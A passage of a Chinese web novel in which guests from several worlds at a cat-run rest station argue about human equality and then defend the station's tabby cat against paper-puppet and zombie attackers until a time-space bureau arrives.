卫锦程捏着啤酒罐子,犹豫了一下,突兀开口:“……只训练力量吗?”
凯桑德拉还是第一次被卫锦程搭话,愣了愣,随后惊讶地抬头看向她,不过只是正常回了话。
“猫应该不需要我训练它们的速度吧,这帮小家伙爪爪快得离谱。”
“我是说技巧。”
卫锦程指了指狸花猫,后者正乖巧而无辜地睁着圆溜溜的猫眼睛,装出一副人畜无害的样子。
而实际情况来说,此乃恶霸,恶霸中的恶霸。
此猫会因为偶尔日营业额不如布偶猫高,而装作路过并踩过布偶猫(虽然只能踩到长毛,根本破不了防),还会叼走状况外的小煤球气得布偶猫喵喵叫;
会用治疗术的光点逗其他猫陪它玩,导致一整个休息站的猫都累瘫;会贴着营业中的德文猫一起蹲在客人腿上,把客人的腿压麻;
会把占据猫爬架最高点的黑猫挤下来,但对最高点并没有兴趣,所以自己也很快跳走;会用后爪爪踢一下对它表示不满的客人,并且不接受对它的任何意见……
以上种种,罪行累累,但长得太可爱了,所以只能无罪释放,猫好人坏。
“说到这里,我也疑惑很久了。”凯桑德拉托起狸花猫,和这位正在装可爱的销冠对视了一番,“小老板真的是这里最能打的吗?”
“喵——”
狸花猫夹着嗓子甜甜地叫了一声,蹭了蹭凯桑德拉的手。人会觉得可爱,但旁边的猫都一副没眼看的样子跑远了些。
“口说无凭,我直接给你展示一下我从它那里学到的技巧。”卫锦程站起身,对凯桑德拉抬了抬头,“切磋一下?”
“好啊,不过点到即止。”凯桑德拉笑着答应了下来,转头看向温言谨,“小姑娘,你要来当裁判吗?”
从刚才开始,凯桑德拉就注意到这个小姑娘一直在往这边好奇地张望了。事实上,她对这个文明世界的小姑娘也有些好奇。
这个小姑娘看起来好像只是平民,显然没接受过武器训练,似乎也不像有什么特殊能力的样子,但状态显然和凯桑德拉认知里的平民不一样。
在凯桑德拉的世界里,即便是最富强的国度,也没有拥有这样精神面貌的普通人。
大多数人要从很小就开始工作,学一门手艺,哪怕是幸运到能够衣食无忧的普通人,也总是有些挥之不去的卑躬屈膝或心神不定的样子。
他们要对领主下跪、对教会下跪、对不知道多少人下跪,并且这是所有人习以为常了的事情。
小队的其他三人显然也对温言谨有些好奇,而卫锦程倒是瞟了一眼就没兴趣了——只是文明崩坏前的普通人而已。
温言谨犹豫了一下,还是按捺不住好奇心答应了下来,有些不安地抱着小煤球,跟着几人往训练室走去。
狸花猫看出温言谨似乎有些不自在,便和德文猫在她腿边转来转去地碍事。
人在被猫亲近的时候,是不会记得当下场景很尴尬的。至少,温言谨现在正忙着摸三只猫,暂时抽不出空来去紧张了。
摸着热乎乎毛绒绒软绵绵的猫,温言谨面对疑似异世界人类的不安确实缓解了很多。仔细想了想,大家都喜欢猫,因为猫聚集在这里,至少不是个坏开头。
而且这里有猫的规矩,猫会驱逐不守规矩的人类,这里很安全。在狸花猫刻意夹着嗓子的喵喵叫中,温言谨慢慢放松了下来,抬头看向站在比武台中间的两人。
“……这是我从那只狸花猫身上学到的技巧,注意一下。”
卫锦程显然还不太适应和人友善相处,语气多少有些冷硬。
凯桑德拉拎着大剑,点头应了一声,挥剑摆好架势,一如既往地露出了爽朗的笑容:“来吧。”
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刚说完,她看到卫锦程身形向左晃了晃,便本能将巨剑架到了身子左侧,却发现卫锦程以一种怪异的方式脚下用力,保持向左的动势姿态,却从右边瞬间冲了过来。
没等凯桑德拉反应过来,卫锦程的身形便闪出了一道残影,呼吸间便将匕首架在了凯桑德拉脖子上。
“承让了。”
“啊?我没让,你刚才那个假动作真的很厉害。”
此时便利店内,暮时呛了一口水,骂骂咧咧地给技术部上传了一个翻译bug。
凯桑德拉握住卫锦程的手,认真地看着她:“你是从哪里叛逃出来的人吗?”
“……什么?”
“我们小队还缺个刺客,你要不要考虑一下?”
“队长,这么说显得好像叛逃成了入队的必要条件一样,不要啊。”乔伊斯吐槽了一句,随后有些好笑地摇了摇头。
“喵!喵!”
狸花猫着急地跑到比武台中间,绕着两个人转了转,发现他们没法明白自己的意思后,又撒开爪爪跑到门外翻了翻柜子,叼着一张纸跑了回来。
——“本休息站暂不提供跨世界传送功能,请见谅。”
显然,不是第一次有不同世界的人想要互相串门了。很可惜,跨世界传送的手续根本不是低等文明能接触到的东西。
另一边,小队的其他三人正在和温言谨聊天。和过年被亲戚盘问不同,这些人带着友善的好奇,让温言谨慢慢放下了戒心。而这几位奇幻世界的人也和温言谨越聊越欢。
从古希腊聊到黑格尔,从现代西方哲学聊到后现代主义。温言谨说完都觉得有些好笑——这说不定是她这辈子应用大学专业知识最多的场合了。
艾尔倒是还好。作为法师,他的兴趣更多在具体的魔法公式和元素衰弱期计算上,乔伊斯与泽安德两个人几乎是用不可思议的眼神在看着温言谨了。
尤其是乔伊斯,她眼睛亮晶晶地看着温言谨:“所以,你们那边是人人都能学到这种知识吗?”
温言谨无奈地笑了笑:“不如说几乎没什么人愿意学吧,就业前景不好。我也在准备着保研后,读完研究生再考公务员。毕竟没什么工作单位需要……我也经常后悔选错专业呢。”
“但是我觉得,你和我们聊这些的时候看起来很开心。”
乔伊斯没明白温言谨话里那几个无法翻译的词,只是敏锐察觉到了她看上去有些沮丧,
“你也很喜欢这些,对吧。那就不一定是选错了,可能只是运气不好而已。”
温言谨愣了愣,随后长出一口气,放松地笑了笑。
“嗯,我确实还挺喜欢的。”
在个人价值与就业和财富地位高度绑定的普遍风气下,就连说出“喜欢”都像是给自己挽回尊严的托词,带着些自觉幼稚的羞耻感,因此温言谨早就习惯在被问到专业时脱口而出那一串话了。
不过,其实她真的挺喜欢的。
“好啦,我们差不多得走了。”乔伊斯看凯桑德拉对她挥了挥手,便对温言谨抱歉地笑了笑,“给我一句你最喜欢的话作为赠语吧,下次见面我送你一首歌。”
“人生而平等。”
温言谨脱口而出,却发现室内的空气突然凝固了。
17. 生命核心
小队四人完全僵住了,而卫锦程则是微不可察地摇了摇头,轻叹了口气。
生而平等啊……对了,从前她的世界也做过这样的梦来着。
而在叛逃小队四人的世界里,有遮天蔽日的神话生物、有出口便能剥夺万人性命的法术、有统管着人们思想与信仰的教会,更有生来就与人不同的异种生物。
这里很自由,但没有诞生“生而平等”思想的土壤。凯桑德拉等人倒是并不自恃比普通人高贵,但也从没想过人与巨龙应当平等。
至于狸花猫,它打了个哈欠,见没人理它,不满又有些无聊地甩了甩尾巴,有气无力地迈着步子往训练室外面走去。
猫累了,暂时不想管这里的谈话,反正猫猫之间没有那么麻烦的事情。狸花猫盘着身子卧回了猫窝里,开始消化刚才旁听到的哲学知识。
想着想着,狸花猫就睡着了。柔软的小身子轻微起伏,耳朵不时动一下,似乎还在警戒。
在很久很久以前,在狸花猫还不是聪明到这个地步的怪猫猫之前,它只是一只吃百家饭的普通流浪猫猫。
当然,它当时的小脑袋也确实比其他猫猫的要更灵光一点。至少它能分辨出哪些人类能靠近去卖萌要食物,哪些人类要远离。
它知道人类有坏人类也有好人类,就像猫猫们的性格也不一样。不过人类太复杂了,复杂到连他们自己都搞不清楚自己是好人还是坏人了。
对猫来说——管你们呢,如果不给猫喂罐罐,那么就算是亿万富豪,对猫猫来说也只是路过的普通人类。不喂猫的人厉害,和猫有什么关系,猫能因此多吃到一口饭吗?
就在狸花猫打盹的时候,训练室里爆发了激烈的思想冲突。
“强与弱是相对的,帮助更弱者的人,无论自身是否强大,都配被称作强者;而欺凌弱者的人,不管拥有怎样的荣耀,也是剥削者、压迫者。”
温言谨这时候真的恨不得把那一大堆期末考试前恨极了的哲学先贤们全从地里挖出来,而凯桑德拉这边,则急到差点想给这位文明世界的人抓条巨龙过来看看了。
事实证明,不管哪个世界的人,辩经的时候都急眼。一旁的卫锦程倒是没太大感触,正在给排着队的猫猫们当举高高工具人——尤其是布偶猫,难得遇到愿意举它的人类,开心地喵喵叫了好几声。
毕竟,卫锦程既能理解文明世界的想法,又能理解凯桑德拉这边武力差距过大导致的平等概念缺失。
“你说人生来平等听起来确实很好,但是每个人出生的条件就是不一样的。用我们这里的人举例……”
凯桑德拉喘了口气,指了指那边的几人,
“艾尔,先天元素亲和,出生就能使用五级法术,从小便接触高级魔法教育,而绝大部分人一辈子都只能是魔法学徒;
泽安德,前任高级神官,是万中无一的掌握着群体治疗术与复原术的人,甚至每天能复活一个死亡不超过一分钟的人。
乔伊斯……”
凯桑德拉的语气顿了顿,看了一眼乔伊斯耳边的鳞片,在吵急眼了的时候还是突然闭了嘴,差点呛到。
“还有我们队长,十岁就能过肩摔一个七八十公斤的人,作为平民被王国护卫队选中接受骑士训练,力量方面从来没输过。”
艾尔见状,赶紧接话道,
“尽管我们已经不算是普通人了,但再这片大陆上,比我们更强的人数不胜数,甚至说难听点,我们也就是稍微大点的蝼蚁。
或许生而平等在你们的世界适用,但以我们的世界为基准考虑的话……”
一个羸弱的平民,该怎样才能有勇气对这样的世界喊出生而平等?这像个不好笑的笑话。
“客观意义的强者之上一定有更强者,更强者一定会随着时间衰弱,没有什么能永恒存在。既然人人都是蝼蚁,那不也是一种平等吗?
平民也是蝼蚁,你们是蝼蚁,比你们更强的人也是蝼蚁,这就是用‘蝼蚁’重新定义了‘人’而已吧。”
温言谨也是第一次和人在这么抽象的理想主义问题上吵起来,不过好在,她确实早就想过很多次这个问题了,
“你能把活生生的人当成可以随意踩死的蝼蚁吗?你想把自己当做蝼蚁吗?你觉得又有多少人真的想认同自己是蝼蚁?
是,客观上人的先天条件有差别,但强有更强,弱有更弱。而且把客观视角再拉远一点,宇宙根本不在乎生命的存在,强也没用,只有自己才能让自己有意义。”
卫锦程也没想到,这位看着温和的文明世界普通小姑娘一个人吵四人份的架,虽然显然缺乏社会经验,但伶牙俐齿以一敌四。
她看了一会,犹豫了一下,还是决定不发表意见,继续陪猫猫举高高玩。卫锦程自知自己本来也不是擅长交际的人,经历过长时间的末世求生后甚至更加笨嘴拙舌了,
虽然多少有点想说两句,但感觉卷进去会很麻烦,算了。
就在吵得很激烈的时候,狸花猫睡醒了,迷迷糊糊地溜达进来,打了个巨响的喷嚏。
一瞬间,休息站的地面晃动了一下,几人猝不及防一个踉跄,被打断了争论,有些茫然地左右看了看。
……地震了?
接下来,狸花猫接连打了几个喷嚏,休息站又摇晃了几下,但幅度不大。
“小老板?”
凯桑德拉蹲下身捞起了狸花猫,看着狸花猫委委屈屈地又打了个喷嚏,但这次没再晃动了。
“你这是感冒了?泽安德,你来看看。”
“喵……”
温言谨和卫锦程也有些担忧地走过来看了看。卫锦程回忆了一下,补充了一句:“今天它确实看起来不太精神。”
泽安德走近了抱过狸花猫,轻轻握住它的爪爪,闭上眼睛感受了一下猫猫的生命能量流动,随后皱着眉头睁开眼睛,左右看了看。
“奇怪……它的生命核心不在身体里。”
生命核心——用人类的语言来描述,就是心脏。不过这个概念适用于更广泛的智慧生命,如巫妖的命匣,精灵的生命灯,修炼者的灵魂火……
通俗点说,就是没了会死的身体部分。当然,也有那种必须被分解成足够小的部分才能死亡的生物,这种生物一般被视作没有生命核心,但一般智力较低,很难成为智慧生
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命。
泽安德顺着生命链接的感应向训练室的边缘走去,轻触与普通建筑一般无二的墙面,感受到指尖传来了微不可察的鼓动。
一下,两下……
“这座休息站是生命核心?虽然有明显被加固过的迹象,但是……”
泽安德抬起头,有些不可思议地看了看四周。生命核心外置容纳本体?这也太危险了。
“咪唔……”
狸花猫有气无力地叫唤了一声。泽安德也顾不上纠结这个了,赶紧拍了个高级治疗术过去,却立刻发现了不对劲。
“不对,虽然恢复了些,但很快又有能量流失。它在遭受攻击。”
德文猫着急地转了两圈,跑出去到自动售货机的猫猫用屏幕上用爪爪拍了拍,又叼着一个刚买的翻译器跑过来,喵喵喵地叫了起来。
——有未知生物在攻击休息站外围,情况复杂,我们已经联系了总部,请客人们不要惊慌……
就在这时,所有人都听到了砰砰砰的砸门声,而狸花猫的叫声似乎变得更加痛苦了些。
卫锦程的脸色阴沉了下来,径直向训练室门外走去。
“……怕死就在这待着,和你们没关系。”
直到现在,卫锦程对猫猫休息站的认同都是“家”。尽管她知道不是,但这里对她来说就是精神支柱一样的地方。
至于其他客人,都被卫锦程当做外人。而家是要靠自己保卫的存在。
“见外了啊,我们那边还没秋收,暂时还要靠小老板这里的神奇售货机买粮食养活领地的人呢。”
凯桑德拉拍了拍卫锦程的肩膀,轻松地笑了笑,又转头看向小队成员,
“艾尔,根据狭窄空间作战规划站位部署,同时负责单点攻击魔法支援。”
“了解。”
“乔伊斯,开始布置增益法阵,记得发现速度过快的敌人时,随时吟唱减速法术。”
“明白,已经在布置了。”
“泽安德,你看情况给治疗和恢复,保护好没有战斗能力的人和猫,注意小老板的状态。”
“放心。”
凯桑德拉迅速布置完自己小队的任务后,转身看了看卫锦程和温言谨,思考了一下。佣兵就是要经常面对和陌生人合作的情况,没什么不习惯的。
“卫锦程,你负责协助我。在敌人数量多的情况下,你优先处理速度快的个体;如果敌人是强大单个个体,你负责牵制骚扰,同时注意躲避我的攻击。
小姑娘,你叫温言谨对吧,别害怕。你站到乔伊斯和泽安德旁边,就是最后排靠近自动售货机的那里。必要的时候根据艾尔的要求,从售货机里购买物品帮助我们。”
卫锦程的身子顿了顿,犹豫了一下,最终点了点头表示暂且信任。而温言谨自知算不上战力,也没有冲过去添麻烦的想法。
“至于我……你们放心,让瘦弱的同伴死在我前面,那也太逊了。”
凯桑德拉拎起了巨剑,站到了通向门廊的门前,眯起眼睛又笑了,
“既然不得不战,且对手情况不明,那我只能保证,只要我还站着,你们就都是安全的。”
18. 纸人、丧尸与未知的敌人
卫锦程看了看凯桑德拉,随后移开了视线。
领袖,毫无疑问的领袖。哪怕是卫锦程这样当惯了独狼的人,一时间也下意识听从了凯桑德拉的安排。
察觉到卫锦程的视线,凯桑德拉笑着拍了拍她的肩膀。
“活下来的话记得一起喝酒,喝果汁也行,但喝点什么是佣兵的习惯。”
“……我记住了。”
“那好。小老板,把敌人放进来吧,看你这么难受我们也不是滋味。还有,那边那只黑猫,我听艾尔说了你的事情,你在保证自身安全的前提下也可以来帮帮忙。”
“喵。”
在泽安德持续输出治愈能量之后,狸花猫看着精神了一点,但还是有些没力气的样子。
大门被踹开的同时,卫锦程握着匕首瞬间隐去了身形——她仿佛突然消失在了空气中,只留下了一抹杀气。
随后,便只见第一个进来的人形生物突然被从眼窝捅穿了大脑,而卫锦程的身影只出现了短短一瞬间,很快又消失,直到回到己方阵型里,才有些愕然地看着匕首尖端扎穿的纸人。
黑猫看了一眼,有些沮丧地走回了队伍最后面舔爪爪。
卫锦程看见黑猫的举动,有些茫然,但很快,她匕首上扎穿的纸人突然剧烈挣扎了一下。
“救命啊!不要杀我……求求你们,我是被逼的!好疼,好疼……”
温言谨突然想起了之前旁听到的、那几个像是仙人一样打扮的其他客人说的话。当时,她还以为只是一群爱好者……
“这是赋命纸偶,要用人的心头血制作,据说是将人的魂魄附到纸人上……”
几人有些恍惚地看向门口涌来的人群,只见他们哀求着、哭泣着向前涌入,偶尔还有人看见这里有人守护着弱小者和猫咪,似乎是不愿意伤害别人,努力转身想要逆着人群离开,却一瞬间便化成了灰。
凯桑德拉本能一剑挥出去,两米的巨剑毫不费力地砍倒了所有凑上前来的人,如同斩断草芥一样。
“**,这也太恶心了。”凯桑德拉咬着牙骂了一句,尽管她依然坚定地守卫着这道防线,但手还是略微颤抖了一下。
在人堕落为野兽之前,杀人永远不是一件轻松的事情——只有野兽才能毫无芥蒂地杀死无辜的人。
听他们呼喊着对生的渴望,听他们唤着大概是他们亲近之人的姓名,听他们的血肉与骨骼发出令人牙酸的撕裂折断声,温热鲜活的血洒在地上……
放弃为此感到痛苦,就几乎放弃了自己的人性。而如果要保持人性,就不得不一遍遍反刍这种非人的痛苦,直至成为噩梦的一部分。
卫锦程更是握紧了匕首咬牙切齿,一瞬间心头涌上来的绝望甚至超过了面对比这规模大百倍的丧尸群。
为什么,为什么有人能做出比天灾还可怕的事情。
“所以,既然是纸做的,那他们应该怕火对吧。”
艾尔的眼睛全部成了黑色的——他在发动魔法用俯视视角观看全局情况。
他抬手一挥,门口突然竖起了一面火墙,而同时,无数火焰箭如同星辰一样高悬在天花板处,坠落后拖着闪耀跃动的火星,直接扎入室内敌人的心脏位置。
不过一瞬间的功夫,纸人们都烧成了灰。魔力过载导致艾尔的眼眶中流出了血,他蹲下身捂住一只眼睛揉了揉,另一只眼睛依然维持着全黑。
“队长,今天这里我请客,都算作我杀的。”
“用不着你,我是队长还是你是队长?”凯桑德拉深吸了一口气,对艾尔翻了个白眼,“我知道,大部分法师都是冷血的性子,但我也知道你不是。”
艾尔捂着眼睛缓了缓,轻叹了口气:“……你总是这么说,但是我确实和其他法师一样,也认同效率至上的原则。不知道你的判定标准是什么。”
“标准?你们法师一顿饭吃几粒米都要数清楚,麻烦不麻烦。”凯桑德拉笑了笑,理所当然地回道,“这种事情,当然是凭直觉啊!”
竖起火墙后,外面的敌人倒是也不会无缘无故派资源来送死,稍微僵持了一会后,卫锦程突然听到了极其熟悉的嘶吼声。
“丧尸……?”
她自信绝对不会听错这种声音,一瞬间起了鸡皮疙瘩,立刻大声向其他世界的人喊道,
“保护好皮肤和眼睛,前排人员停止说话,绝对不要感染丧尸血液。记住,这群怪物只有被摧毁脑子才会真正死亡!主要用抓挠和撕咬的方式攻击!”
“了解。”
凯桑德拉立刻点了点头,松了口气,嘟囔了一句,
“行吧,好歹杀怪物比杀人强多了。”
温言谨快速从售货机里买了几个护目镜和防抓手套递了过去,随后继续老老实实待在最后排不出声也不碍事。
德文猫带着其他猫猫蹭过去安抚这位文明世界的客人,同时咬住了奶牛师傅的后颈毛,避免它万一突然想冲上去给敌人一爪子。
布偶猫看德文猫费劲忙碌的样子,走上前去一屁股坐在了奶牛师傅的身上,引来了奶牛师傅不满的喵喵叫声。
卫锦程凝视着晃着身形走进来的丧尸,心中突然涌上了一个猜想。
她的世界里,丧尸爆发得毫无由来,好像短短几天之内,全世界就全都沦陷了,也没有人有调查真相的余力,光是求生就已经足够艰难了。
如果说,是异世界的手笔……
“高度5’3到5’4。”
艾尔用更加简略的语言提示着丧尸头部的位置,而凯桑德拉在听到提示的一瞬间凭借本能又挥出一击,扫除了大面积的敌人。
而卫锦程也暂时放下了其他思绪,隐去身形后,用匕首刺杀清除漏网之鱼。
与此同时,乔伊斯召唤出了藤蔓缠绕住敌人的双脚,而泽安德则用恢复术帮助战斗人员恢复体力,同时用治疗术保证所有人体表无伤口。
毫无疑问,这四人本身就是一支训练有素配合默契的佣兵队伍,而卫锦程的加入更是进一步完善了他们的作战体系。
但尸潮无穷无尽,哪怕他们一瞬间就能杀死几十个丧尸,很快就又有几百个涌了进来。
这就是末日世界真正危险的地方。几只丧尸并不可怕,可怕的是无法逃离的尸潮,像是被淹没在深黑色的海中央一样绝望。
正是因为丧尸靠个人力量是杀不完的,所以大多数独狼求生者——包括卫锦程——都属于速度、隐匿或侦察型。
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泽安德深深叹了口气,掏出匕首,在掌心划了一道口子,看着鲜血一点点滴落。
“以我之血,浇灌我的信仰;以……”
祈祷吟唱到这一句时,泽安德突然卡住了,同时生命能量的流转也慢了下来——这句本该是“以神之名”,但自从叛逃之后,他一直在审视自己的信仰。
神好像从来没有真正眷顾过痛苦着的人们,也从来没有惩罚过那些罪恶的人,一切因果循环报应不爽,皆在人。
我居然怀疑神的存在,我有罪。
但现在不是能悠闲地纠结的时候。泽安德看了看周围,深吸了一口气,在心中告了罪后立刻开口:
“以我之名,消除所有疲惫与伤痛。”
突然间,乔伊斯感受到体内见底的魔力涌动着恢复到了最佳状态,不禁转头看向弓身咳血的泽安德。
大恢复术,可以将人的生理与心理状态完全重置到最佳状态,是极其罕见的治疗神术,对施术者消耗极大。
“……从现在开始我只能提供基础治疗了,你们加油。”泽安德露出了抱歉的微笑,又轻咳了几声,看了看手心的血迹。
从前流传着一句话——小队里如果有人比牧师先力竭,那么这个牧师要么是没出力,要么就是不合格。
这就是牧师的作用。反过来说,牧师力竭是个极坏的现象,预示着小队的第一条命用完了。
“攻击频率不变的基础上,还能支撑一个小时。”
艾尔皱起了眉头,与此同时,狸花猫对德文猫喵喵叫了几声,德文猫带着温言谨向后走去,用爪爪拍了拍售货机后面的墙,露出了一扇隐藏的门。
这里是安全通道。万不得已的时候,休息站也要展现出能保证客人安全的风范。不然,以后要赚不到罐罐了。
销冠就是销冠,就算现在身体很难受,也记得考虑休息站的业绩。当然,部分原因也是它的小脑袋并没有那么聪明,只能考虑这么多了。
另外,狸花猫也要保护其他猫猫的猫身安全。德文猫和布偶猫一起喵喵叫着组织其他猫猫准备随时离开,但它们两个喵完了后,就一起凑到狸花猫旁边盘着身子,显然准备留在这里。
“小老板,见外了啊。”凯桑德拉喘了口气,记起卫锦程交代不能说话,立刻又安静了下来。
而身处后排的乔伊斯接话道:“且不说我们的领地还需要从这里买粮食,单说我们小队行事风格就这样——看见不爽的事情就要管。”
卫锦程从始至终都沉默着,紧闭着嘴。她是末日世界的原住民,面对丧尸时不会有一丝一毫的懈怠。
这里对其他人是休息站或交易站,但对她来说,这里是唯一的容身之所和精神栖息地。所以,她潜意识已经将自己划作了猫猫阵营的一方。
她本来也没想过逃跑。尤其是见到丧尸后,她很确定地知道,自己哪怕死也不愿意让这群恶心的东西靠近她最后的“家”。
时间在沉默中跳动,慢慢的,凯桑德拉的巨剑开始有些迟滞,卫锦程的手腕开始发酸。艾尔和乔伊斯魔力几乎见底了,而泽安德更是连睁眼的力气都没了,只能闭着眼睛坐在角落,努力抓紧时间休息,希望能压榨出一丝精力。
19. 结算与“胜利”
温言谨则是默默站在售货机旁边,看着她无法参与的战役,咬了咬嘴唇。
这里的一切对她来说都太奇妙了,完全超出了她迄今为止的认知。理论来说,她知道自己现在应该赶紧离开的,但她迈不动步子。
这次走了,就可能再也无法踏进这扇门了,只能回到枯燥而乏味、日复一日的生活中……她想在不碍事的前提下,至少看到确定的结果。不然,她可能会穷尽一生等待一扇不知道会不会再打开的门。
“尊敬的客人,你们好,感谢你们使用时空管理局101号分局下属第5实验点的猫猫休息站,我们为今天的事故表示抱歉,现在处理人员已经抵达现场。”
突兀响起的广播声吓了所有人一跳。而突然间,门外飞进来了无数金属制的小飞虫。它们飞入丧尸的脑中后,立刻让这些流着涎水的恶心生物停住了脚步,瘫倒在地。
与此同时,一个身着白色制式研究服、有着银灰色金属般光泽头发的人慢悠悠地从门口走进来。
所长好像完全感觉不到这里经过了一番苦战的氛围,只是用比广播还没有感情的声音开口。
“根据目前的线索推断,袭击者是违反了文明发展公约的逃犯,原生地是玄幻修仙体系世界,于三个标准宇宙分钟之前逃走了。
对于你们见义勇为的行为,我谨代表时空管理局表示诚挚的感谢。管理局的报酬将于五个标准宇宙日……约是你们的世界内太阳落下五次后协商完毕,届时将以你们可以收到的形式进行发放。
关于时空管理局的一切问题,不予回答。我只会陈述你们需要知道的事情,以及解决你们合理范围内的疑惑。”
这种灌输一样的播报让刚经历了一番苦战的人都懵懵的,凯桑德拉直接坐到了地上,揉了揉酸痛的手臂,抱怨了一句:
“总之你是自己人,对吧。”
对于这个简单的问题,所长却延续了严谨但不说人话的说话风格:
“从狭义上来说,现在算是。从广义来说,不是。”
艾尔倒是对这种不说人话的说话方式很熟悉——魔法书籍都这样——于是便解释道:“这人的意思是,这次是来帮忙的,但并不承认和我们是‘同盟’。”
“没错,我的立场是时空管理局所代表的、最大多数具备怜弱品质的智慧生命的利益。”
所长一边按着自己左边的太阳穴,一边回复道。祂的左眼闪烁着微弱的蓝色光,看起来像异色瞳一般,
“追踪丢失,犯人丢下了一个生命体征具有危险的智慧生命后遁入空间夹缝。根据宇宙智慧生命权公约,应当将救助置于最高优先级……”
“咳咳……带过来吧,外伤的话我能治。是吧,队长。”坐在角落里闭着眼睛的泽安德有气无力地开口,睁开眼睛看了一眼凯桑德拉。
后者心领神会,对着所长立刻解释道:“我们有牧师,如果这里更近的话,你先快点把人交给我们,然后你继续去追逃犯就是了。”
首先,现在确实所有人立场都一致,都想把欺负猫的坏种抓过来杀了。为此,凯桑德拉他们当然不介意给所长提供必要的协助。
其次,这也是为了了解更多信息。收集信息和情报可是优秀佣兵的必修课,从活着的人嘴里,应该能问出点有用的东西。
所长看了他们一眼,点了点头:“感谢协助,之后我会代表个人给你们些报酬。”
说完,祂走到狸花猫面前,蹲下身分析了一下,伸出手轻轻给它按摩了会。
而狸花猫有了点力气,先眯起眼睛被舒舒服服摸了几下,突然想起了不对,翻过身绕着所长大声喵喵叫开始控诉,时不时还用爪爪拍了祂的脚腕几下。
所长歪了歪头,听着听着,表情有些无奈:“不,时空管理局的精神补偿不包括能够凭空制造罐罐的工具。这种东西也不符合能量守恒定律。”
“喵!”
“没错,按理说这次事件的发生要向这片区域的巡查人员问责,但从刚才发给我的数据来看,他们应该已经都殉职了。”
所长的话让室内突然冷了几度,而最不习惯死亡的温言谨更是愣住了,低声喃喃道:“……殉职?”
“对,这片区域的战备人员共有三百五十人,目前没有任何一人回复我的通信请求。”
三百五十人,光看数字或许没什么概念。不过,一个60公斤的成年人体内约有4.8升血液,也就是约1700升血液。手持花洒的流量约每分钟5到10升水,理论来说,就是开着花洒3到5个小时左右的出水量。
艾尔突然干呕了一下,茫然地看向地上烧尽的纸人灰烬。所长注意到了他的异状,点了点头。
“对,正确的猜测。作为碳基生命来说能注意到大致人数,你显然拥有不错的观察和判断能力,但我需要给你个忠告——要想保护更多人,你还需要更冷血一些。”
“你……”
“如果我每见到这种规模的死亡就要停下来缓一缓,那我每天什么事都不用做了。”
所长轻描淡写地低下头,又揉了揉狸花猫的脑袋,
“不过,考虑到你们的生命形式和我不一样,你们会产生这样的反应并不奇怪。”
说话间,突然有两个和祂长得一模一样的人走了进来,祂们正搀扶着一位看上去浑身是伤的老人。
温言谨愣了愣,一眼就认出了这便是之前非要对着狸花猫说“此子绝非凡物”的怪人。当然,现在她倒是清楚知道,估计只是世界文化差异而已。
这人醒来后,挣扎着脱离了祂们的搀扶,突然跪到了地上,泣不成声:
“……求求你们,救救师祖!”
“我在到达地点的时候,未检测到第三名智慧生命的痕迹,你说的‘师祖’是谁?”
所长没有管他的异状,直接抓住了话语中的新信息,立刻追问,
“根据检测,现场唯一被判定为智慧生命的人,除了你以外,只有一个未知无性生物的痕迹。从能量残留判断,就是那个逃犯……”
“不!不是这样的,师祖只是……只是被心魔控制了。”
“根据现行的宇宙法律,它被什么控制了不在我的管辖范围内,我需要你提供它的信息……”
“抱歉,稍等一下。”乔伊斯打断了所
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长冷硬的问话,抱着布偶猫猫介入了这场询问,“请让我来问吧。”
“喵。”
布偶猫起到的作用就是,用一大团显眼而无法忽视的、棉花团般的猫猫让乔伊斯本就柔和的气场进一步亲和化——简单来说,是猫形功能装饰。不过布偶猫很乐意接下这个工作。
“请冷静一点,我听你的叙述来说,你的那位师祖是不是遇到了什么困难?”
乔伊斯的语气温和平缓,不急不慌,
“我们想要帮助它的话,得了解它的情况才行。别担心,就从你刚才说的‘心魔’说起吧,到底是怎么回事?它是因为那个心魔才来攻击我们的吗?”
在他们四人小队内,凯桑德拉和艾尔擅长“审讯”,而乔伊斯与泽安德则更擅长“询问”。气场不同是一方面,另一方面,吟游诗人和牧师的职业要求来说,也更擅长理解别人的立场和内心。
例如现在,乔伊斯就敏锐地察觉到,面前人显然并不想指责袭击猫猫休息站的逃犯,但又需要寻求帮助。那么首要的便是顺着他的话,让他继续往下说,以获取更多信息。
他想要将逃犯的错误归结到“心魔”上,那就由他辩解,反正只要问清楚是什么就好了。
所长发现乔伊斯的策略有效后,便默不作声地退后两步旁听,降低自己的存在感,同时操控另外两个“祂们”走出了门。
“随着修仙者能力增长,欲念也会越来越大,由此便产生了心魔。心魔大都来自于过去的执念或者对实力的追求……”
异化度啊。
所长在心里默默将这个数据收录到了私人数据库中。其实各个世界可能都会出现类似异化度的概念词语,只是根据各个世界的情况,具体词语有所不同而已。
“师祖应该只是太想复兴师门了,所以一时糊涂……”
凯桑德拉听这种开脱的说辞就来气,不过为了更多情报,还是拉着显然快要杀人了的卫锦程暂时回避一下。
狸花猫立刻发现了两人的异状,便带着其他猫猫小步跑过去,在两人身旁蹭了蹭,表示自己已经没事了。
摸猫比杀人重要,并且摸猫能显著缓解杀人情绪。狸花猫左边喵几声,右边喵几声,跑来跑去地给帮了忙的人类端水营业。
凯桑德拉很快被忙得不行的狸花猫弄乐了,蹲下身摸了摸狸花猫的小脑袋,开口关心道:
“小老板,你现在没事了吧?”
“喵——”
狸花猫展示了一套快速猫猫拳,一秒钟给了旁边无辜的绿植十个巴掌,成功把两人逗笑了。
“不过,小老板,你到底是什么来头啊?”凯桑德拉突然想起泽安德说的生命核心的事情,抬头看了看,“难道我们现在在你的心脏里吗?”
“喵?”
狸花猫摆出了极其纯良无辜的眼神,发出了一声疑惑到略显做作的上扬疑问喵声。
好奇怪哦,不知道耶,它只是一只可爱的小猫咪。
正在这边玩闹的时候,那边突然传来了一句话,让卫锦程直接掏出了匕首。
“……师祖的目标应该是那边那只狸花猫。”
20. 猫飞猫跳
“一般来说,每个物种总有上限与下限。”
生理结构和遗传的稳定性。
“但在极其罕见的情况下,会出现突破物种上限的个体。修道者一般将这种存在称为‘天选者’。”
基因突变普遍存在于自然界中,会造成生理结构的改变。
“而修道者想要突破自身上限,就必须炼化这种特殊存在……”
这是彻底疯了,神志不清产生的幻觉,碳基生物的呓语。
——————
上面是修仙世界的人给出的说辞,下面是所长附加的批注。暮时在便利店装修的监控室里看着屏幕上传输来的文件,嘴角抽了抽。
半个硅基生物说话就是不一样啊,这么拽。
目前,时空管理局正在追捕那个逃犯,但目前还没有消息。各个世界都有自己独特的力量体系,诡谲难测,而且宇宙这么大,一时半刻也抓不到人。
不过据所长说,那个人可能还会回来找狸花猫的麻烦——毕竟突破种族界限的个体没那么多,那个人未必会放弃。
“小梨子前辈,你现在身体没问题了吗?”
“喵~”
